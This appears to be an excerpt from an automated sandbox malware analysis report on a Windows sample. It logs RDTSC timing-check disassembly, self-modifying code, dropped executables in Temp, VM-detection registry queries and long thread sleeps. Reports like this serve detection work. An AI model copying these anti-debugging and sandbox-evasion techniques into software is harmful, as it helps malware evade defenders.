Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517082F second address: 5170864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ax, 667Bh 0x0000000f mov si, EF57h 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6940DA8858h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170864 second address: 5170898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F6940DA84F6h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dl, F3h 0x00000017 mov esi, 445318A5h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170898 second address: 517089D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517089D second address: 51708DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub ebx, ebx 0x0000000c jmp 00007F6940DA84EFh 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 push eax 0x00000015 mov ebx, 70B6F7A6h 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F6940DA84EAh 0x00000023 adc ah, 00000018h 0x00000026 jmp 00007F6940DA84EBh 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51708DE second address: 517093D instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F69B2B5E2EFh 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F6940DA8850h 0x00000014 sbb ecx, 766B8078h 0x0000001a jmp 00007F6940DA884Bh 0x0000001f popfd 0x00000020 mov ch, EBh 0x00000022 popad 0x00000023 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002a jmp 00007F6940DA884Bh 0x0000002f mov ecx, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F6940DA8855h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517093D second address: 517097E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F69B2B5DF37h 0x0000000f pushad 0x00000010 mov di, si 0x00000013 push ecx 0x00000014 jmp 00007F6940DA84EFh 0x00000019 pop ecx 0x0000001a popad 0x0000001b test byte ptr [76FB6968h], 00000002h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov edx, eax 0x00000027 movzx eax, dx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517097E second address: 51709A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F69B2B5E264h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 mov cl, dl 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51709A6 second address: 51709AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51709AD second address: 5170A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, dword ptr [ebp+0Ch] 0x0000000a jmp 00007F6940DA8853h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F6940DA8856h 0x00000015 push eax 0x00000016 jmp 00007F6940DA884Bh 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F6940DA8856h 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6940DA8857h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170A1E second address: 5170A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170A9C second address: 5170AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170AA2 second address: 5170AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170AA6 second address: 5170AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170AB5 second address: 5170AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170AB9 second address: 5170ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170ABF second address: 5170B0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F6940DA84EEh 0x00000010 mov bh, cl 0x00000012 popad 0x00000013 mov esp, ebp 0x00000015 pushad 0x00000016 mov cx, bx 0x00000019 mov cx, dx 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov ecx, 67ACDA59h 0x00000026 jmp 00007F6940DA84F6h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170B0A second address: 5170B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170B10 second address: 5170B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180DF5 second address: 5180E32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6940DA884Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6940DA884Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E32 second address: 5180E5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F6940DA84EAh 0x0000000c sub eax, 7D7E5B58h 0x00000012 jmp 00007F6940DA84EBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E5F second address: 5180E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E63 second address: 5180E7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E7E second address: 5180EAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6940DA884Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180EAC second address: 5180EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6940DA84ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180EBC second address: 5180ECD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ebx, 0194A18Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BA5 second address: 5180BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200DF7 second address: 5200DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200DFD second address: 5200E19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200E19 second address: 5200E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200E1D second address: 5200E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200E23 second address: 5200EB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6940DA8856h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f call 00007F6940DA8851h 0x00000014 mov dx, cx 0x00000017 pop esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F6940DA8853h 0x0000001f add ax, 932Eh 0x00000024 jmp 00007F6940DA8859h 0x00000029 popfd 0x0000002a mov edi, eax 0x0000002c popad 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f jmp 00007F6940DA884Ah 0x00000034 mov ebp, esp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F6940DA8857h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200EB6 second address: 5200EFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6940DA84ECh 0x00000011 jmp 00007F6940DA84F5h 0x00000016 popfd 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52001A4 second address: 52001D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6940DA8850h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52001D7 second address: 52001DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52001DB second address: 52001DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52001DF second address: 52001E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520006E second address: 5200072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200072 second address: 5200095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov edx, esi 0x0000000c mov ch, 12h 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007F6940DA84ECh 0x00000018 pop ecx 0x00000019 mov cl, dh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200095 second address: 520009A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51903A7 second address: 51903C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cl, E3h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51903C3 second address: 5190429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6940DA884Eh 0x00000009 xor cx, A838h 0x0000000e jmp 00007F6940DA884Bh 0x00000013 popfd 0x00000014 mov ebx, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F6940DA884Eh 0x00000023 add si, A298h 0x00000028 jmp 00007F6940DA884Bh 0x0000002d popfd 0x0000002e call 00007F6940DA8858h 0x00000033 pop ecx 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190429 second address: 5190474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 pushfd 0x00000006 jmp 00007F6940DA84EAh 0x0000000b and cx, E428h 0x00000010 jmp 00007F6940DA84EBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F6940DA84F6h 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6940DA84EAh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190474 second address: 5190478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190478 second address: 519047E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519047E second address: 5190497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190497 second address: 51904B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52003BB second address: 52003F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6940DA8850h 0x00000008 pop eax 0x00000009 movsx ebx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F6940DA884Ah 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6940DA884Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52003F1 second address: 52004CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 01F30344h 0x00000008 mov ebx, 51BF0FB0h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6940DA84F5h 0x00000018 or esi, 59431336h 0x0000001e jmp 00007F6940DA84F1h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F6940DA84F0h 0x0000002a sub ax, 2A58h 0x0000002f jmp 00007F6940DA84EBh 0x00000034 popfd 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F6940DA84F4h 0x0000003f sub ah, FFFFFFB8h 0x00000042 jmp 00007F6940DA84EBh 0x00000047 popfd 0x00000048 pushad 0x00000049 movzx eax, di 0x0000004c pushfd 0x0000004d jmp 00007F6940DA84EBh 0x00000052 sub esi, 2821367Eh 0x00000058 jmp 00007F6940DA84F9h 0x0000005d popfd 0x0000005e popad 0x0000005f popad 0x00000060 push dword ptr [ebp+0Ch] 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F6940DA84F8h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52004CC second address: 52004DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52004DB second address: 52004E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52004E0 second address: 52004E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52004E6 second address: 52004F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52004F6 second address: 52004FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52004FA second address: 5200500 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200500 second address: 5200565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA8855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 9BD0C1F1h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6940DA8858h 0x00000017 sub esi, 0739B898h 0x0000001d jmp 00007F6940DA884Bh 0x00000022 popfd 0x00000023 jmp 00007F6940DA8858h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52005B3 second address: 52005CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52005CA second address: 520060A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6940DA884Fh 0x00000009 sub cl, 0000007Eh 0x0000000c jmp 00007F6940DA8859h 0x00000011 popfd 0x00000012 mov ax, 0FC7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 movzx eax, al 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520060A second address: 520060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520060E second address: 5200614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 106EB17 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 106EB89 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 121887D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12408DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12A3530 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F1EB17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F1EB89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10C887D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10F08DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1153530 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Special instruction interceptor: First address: C4DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Special instruction interceptor: First address: CDF426 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Special instruction interceptor: First address: 1159349 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Special instruction interceptor: First address: 11E191A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Special instruction interceptor: First address: 11D8528 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Special instruction interceptor: First address: 11D6C26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Special instruction interceptor: First address: 102BCEF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Special instruction interceptor: First address: 125FD31 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 1770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 3180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 1770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 5770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 6770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 68A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 78A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: B990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: A230000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: C990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 68A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: B990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: C990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 13D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 2E00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Memory allocated: 4E00000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_052003CE rdtsc

0_2_052003CE

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 419	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 441	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 415	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 6162	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018149001\b4955bcdf6.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5064	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2120	Thread sleep count: 282 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2120	Thread sleep time: -564282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6128	Thread sleep count: 287 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6128	Thread sleep time: -8610000s >= -30000s	Jump to behavior
